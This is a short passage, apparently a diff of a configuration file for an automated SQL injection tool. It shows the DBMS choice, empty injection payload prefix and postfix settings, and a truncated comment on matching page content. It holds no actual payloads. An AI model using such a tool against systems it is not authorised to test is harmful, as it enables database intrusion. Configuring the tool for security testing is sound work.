mysql 4, mysql 5, oracle, pgsql dbms = +# Injection payload prefix string +prefix = + +# Injection payload postfix string +postfix = + # String to match within the page content when the query is valid, only # needed if the page content dynamically changes at each refresh, # consequently changing the MD5 hash of the page which is the method used